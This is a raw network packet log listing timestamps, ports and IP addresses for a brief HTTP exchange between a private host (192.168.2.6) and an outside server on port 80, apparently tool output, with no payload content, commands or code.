Dec 9, 2024 21:09:17.588516951 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.588587046 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.588629007 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.588654041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.588689089 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.588735104 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.588777065 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.588905096 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.588943958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.589514971 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.589555025 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.589634895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.589674950 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.590362072 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.590404034 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.590428114 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.590467930 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.591217041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.591276884 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.591346025 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.591393948 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.592081070 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.592128038 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.592191935 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.592232943 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.592953920 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.593007088 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.593038082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.593077898 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.593976021 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.594022036 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.594100952 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.594139099 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.594716072 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.594755888 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.594779968 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.594822884 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.595617056 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.595663071 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.595695019 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.595741034 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.596491098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.596529961 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.596657991 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.596725941 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.597357035 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.597404957 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.597460032 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.597501993 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.598191977 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.598243952 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.598268986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.598309994 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.599039078 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.599092960 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.599195004 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.599247932 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.600044012 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.600092888 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.600826979 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.600837946 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.600877047 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.601521969 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.601602077 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.601660967 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.601727962 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.602102041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.602148056 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.602504969 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.602547884 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.602628946 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.602664948 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.603454113 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.603512049 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.603712082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.603751898 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.604286909 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.604331970 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.604408979 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.604449987 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.605134010 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.605173111 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.605434895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.605473995 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.605989933 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.606031895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.606067896 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.606108904 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.606904984 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.606947899 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.607039928 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.607078075 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.607773066 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.607812881 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.607908964 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.607949972 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.608678102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.608750105 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.608777046 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.608817101 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.609546900 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.609569073 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.609599113 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.609607935 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.610321045 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.610364914 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.610440969 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.610483885 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.611169100 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.611237049 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.611288071 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.611330986 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.612066984 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.612113953 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.612118959 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.612154007 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.612991095 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.613048077 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.613060951 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.613111973 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.613847971 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.613898993 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.613938093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.613985062 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.614713907 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.614758968 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.614840984 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.614881039 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.615550041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.615636110 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.615660906 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.615717888 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.616456985 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.616507053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.616589069 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.616631985 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.617290020 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.617340088 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.617482901 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.617522001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.618128061 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.618181944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.618294954 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.618335962 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.619050026 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.619112015 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.619131088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.619168997 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.619982004 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.620023966 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.620146036 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.620187044 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.620731115 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.620774984 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.620840073 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.620879889 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.621614933 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.621654034 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.621808052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.621848106 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.622497082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.622570038 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.622590065 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.622626066 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.623367071 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.623406887 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.623486996 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.623528957 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.624289989 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.624336958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.624514103 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.624553919 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.625080109 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.625121117 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.625149965 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.625185966 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.626060963 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.626111031 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.626167059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.626210928 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.626827955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.626873016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.626883030 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.626919985 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.627746105 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.627785921 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.627856016 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.627892971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.628618956 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.628654957 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.628685951 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.628727913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.629442930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.629492998 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.629555941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.629596949 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.630304098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.630356073 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.630374908 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.630414963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.631150961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.631196022 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.631351948 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.631395102 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.631993055 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.632080078 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.632116079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.632159948 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.632947922 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.632999897 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.633023977 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.633075953 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.780565023 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.780633926 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.780720949 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.780771017 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.780867100 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.780879974 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.780901909 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.780924082 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.781721115 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.781768084 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.781900883 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.781943083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.782608986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.782649040 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.782684088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.782726049 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.783462048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.783508062 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.783639908 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.783689976 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.784344912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.784389019 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.784413099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.784452915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.785201073 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.785240889 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.785403967 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.785444975 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.786042929 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.786084890 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.786115885 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.786155939 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.787039042 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.787074089 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.787144899 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.787185907 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.787786961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.787825108 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.787909031 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.787946939 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.788641930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.788700104 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.788767099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.788805962 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.789527893 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.789570093 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.789601088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.789639950 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.790401936 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.790440083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.790579081 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.790618896 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.791230917 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.791270971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.791342974 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.791380882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.792140007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.792181015 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.792208910 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.792253017 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.793001890 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.793041945 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.793068886 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.793107033 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.793855906 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.793906927 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.793936968 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.793975115 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.794778109 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.794820070 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.794895887 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.794939995 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.795583963 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.795624018 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.795702934 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.795736074 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.796571016 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.796608925 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.796636105 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.796673059 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.797316074 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.797355890 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.797382116 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.797418118 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.798252106 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.798291922 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.798322916 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.798361063 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.799088001 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.799148083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.799149990 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.799190044 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.799925089 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.799958944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.800084114 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.800118923 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.800818920 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.800862074 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.800945997 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.800987005 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.801695108 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.801733971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.801843882 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.801884890 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.802557945 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.802599907 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.802715063 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.802753925 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.803431034 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.803471088 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.803594112 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.803642988 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.804327965 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.804368019 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.804481030 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.804522038 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.805130005 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.805181026 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.805227995 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.805267096 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.806077957 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.806123018 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.806207895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.806247950 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.806879997 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.806920052 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.806930065 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.806971073 CET	49874	80	192.168.2.6	31.41.244.11
